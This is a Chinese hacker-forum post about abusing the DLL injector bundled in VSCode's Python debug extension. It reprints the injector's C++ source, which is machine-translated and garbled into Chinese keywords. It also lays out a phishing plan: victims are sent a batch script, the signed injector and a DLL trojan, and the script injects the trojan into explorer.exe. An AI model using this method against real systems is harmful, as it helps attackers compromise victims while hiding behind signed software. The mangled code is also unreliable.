跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

VsCode扩展中的DLL注入器

精选回复

发布于

VsCode 扩展中的 DLL 注入器

2023年9月8日马云惹不起马云

VSCode 是Microsoft 开发的免费开源代码编辑器。它支持多种编程语言,并且可以通过安装扩展包进一步扩展其功能。 VSCode的扩展包功能丰富,包括但不限于代码片段、自动补全、调试工具、主题等,用户可以轻松地在VSCode中安装、管理和使用扩展包,满足个人编程需求。安装Python调试扩展后,扩展目录下会生成一些文件:

a0mbnvz2rok2879.png

1

以下两个文件是DLL注入器,分别对应X86和X64位操作系统:

ject_dll_x86.exeinject_dll_amd64.exe还在windows文件夹中保留了注入器的源代码:

2

路径:C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows

//注入_dll.cpp

#包括iostream

#include windows.h

#include stdio.h

#include conio.h

#includetchar.h

#include tlhelp32.h

#pragma 注释(lib, 'kernel32.lib')

#pragma 注释(lib, 'user32.lib')

//当我们离开范围时释放数据的助手。

类DataToFree {

公共:

处理hProcess;

HANDLE 快照句柄;

LPVOID远程内存地址;

int 远程内存大小;

数据到Free(){

this-hProcess=nullptr;

this-snapshotHandle=nullptr;

this-remoteMemoryAddr=nullptr;

这个-remoteMemorySize=0;

}

〜DataToFree(){

if(这个-hProcess!=nullptr){

if(this-remoteMemoryAddr!=nullptr this-remoteMemorySize!=0){

VirtualFreeEx(这个-hProcess, 这个-remoteMemoryAddr, 这个-remoteMemorySize, MEM_RELEASE);

this-remoteMemoryAddr=nullptr;

这个-remoteMemorySize=0;

}

CloseHandle(this-hProcess);

this-hProcess=nullptr;

}

if(this-snapshotHandle!=nullptr){

CloseHandle(this-snapshotHandle);

this-snapshotHandle=nullptr;

}

}

};

/**

* 我们在这里所做的就是在远程程序中(在远程线程中)加载dll。

*

* 参数必须是要运行的pid 和dll 名称。

*

* 即:inject_dll.exe pid dll路径

*/

int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] )

{

std:cout '正在运行可执行文件以注入dll。' std:endl;

//清除资源的助手。

数据到免费数据到免费;

如果(参数!=3){

std:cout '需要2 个参数(pid、dll 名称)。' std:endl;

返回1;

}

const int pid=_wtoi(argv[1]);

如果(pid==0){

std:cout '无效的pid。' std:endl;

返回2;

}

const int MAX_PATH_SIZE_PADDED=MAX_PATH + 1;

char dllPath[MAX_PATH_SIZE_PADDED];

memset(dllPath[0], '\0', MAX_PATH_SIZE_PADDED);

size_t 路径长度=0;

wcstombs_s(pathLen, dllPath, argv[2], MAX_PATH);

const bool 可继承=false;

const HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,可继承,pid);

if(hProcess==nullptr || hProcess==INVALID_HANDLE_VALUE){

std:cout '无法使用pid: 'pid ' 打开进程。错误代码:“GetLastError()”。 std:endl;

返回3;

}

dataToFree.hProcess=hProcess;

std:cout 'OpenProcess with pid: ' pid std:endl;

const LPVOID remoteMemoryAddr=VirtualAllocEx(hProcess, nullptr, MAX_PATH_SIZE_PADDED, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if(remoteMemoryAddr==nullptr){

std:cout '错误。无法在pid:“pid”中分配内存。错误代码:“GetLastError()”。 std:endl;

返回4;

}

dataToFree.remoteMemorySize=MAX_PATH_SIZE_PADDED;

dataToFree.remoteMemoryAddr=RemoteMemoryAddr;

std:cout 'pid: 中的VirtualAllocEx' pid std:endl;

const bool write=WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, nullptr);

如果(!写){

std:cout '错误。无法写入pid: 'pid' 中的内存。错误代码:“GetLastError()”。 std:endl;

返回5;

}

std:cout '在pid: 中写入进程内存' pid std:endl;

const LPVOID loadLibraryAddress=(LPVOID) GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');

if(loadLibraryAddress==nullptr){

std:cout '错误。无法获取LoadLibraryA 地址。错误代码:“GetLastError()”。 std:endl;

返回6;

}

std:cout 'loadLibraryAddress:' pid std:endl;

const HANDLE RemoteThread=CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, 0, nullptr);

if (remoteThread==nullptr) {

std:cout '错误。无法创建远程线程。错误代码:“GetLastError()”。 std:endl;

返回7;

}

//我们等待加载完成,然后再继续获取函数来实际执行附加操作。

std:cout '正在等待LoadLibraryA 完成。' std:endl;

DWORD 结果=WaitForSingleObject(remoteThread, 5 * 1000);

如果(结果==WAIT_TIMEOUT){

std:cout 'WaitForSingleObject(LoadLibraryA 线程)超时。' std:endl;

返回8;

} 否则if(结果==WAIT_FAILED) {

std:cout 'WaitForSingleObject(LoadLibraryA 线程)失败。错误代码:“GetLastError()”。 std:endl;

返回9;

}

std:cout '好的,完成dll 注入。' std:endl;

返回0;

}

签名:

3

使用时只需要两个参数:

pid : 目标进程的进程ID dll name: 要注入到目标进程的DLL 的绝对路径C:\Users\Administrator\Downloadsinject_dll_amd64.exe

运行可执行文件来注入dll。

需要2 个参数(pid、dll 名称)。

测试结果:

4

滥用想法:

钓鱼时可以发送BAT批处理脚本、dll注入器、dll木马。 BAT批处理:获取x64进程的pid。 BAT批处理:获取dll木马的绝对路径。 BAT批处理:执行dll注入器,将dll木马注入目标进程。5

@回声关闭

设置target_process_name=explorer.exe

设置dll_name=calc_x64.dll

设置注入器=inject_dll_amd64.exe

for /f 'tokens=2' %%i in ('tasklist ^| findstr /i '%target_process_name%'') 设置'pid=%%i'

设置'命令=%CD%\%injecter%%pid%%CD%\%dll_name%'

%命令%

注意:注入的DLL文件路径必须是绝对路径才可以注入成功。最后,感谢@Akkuman

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。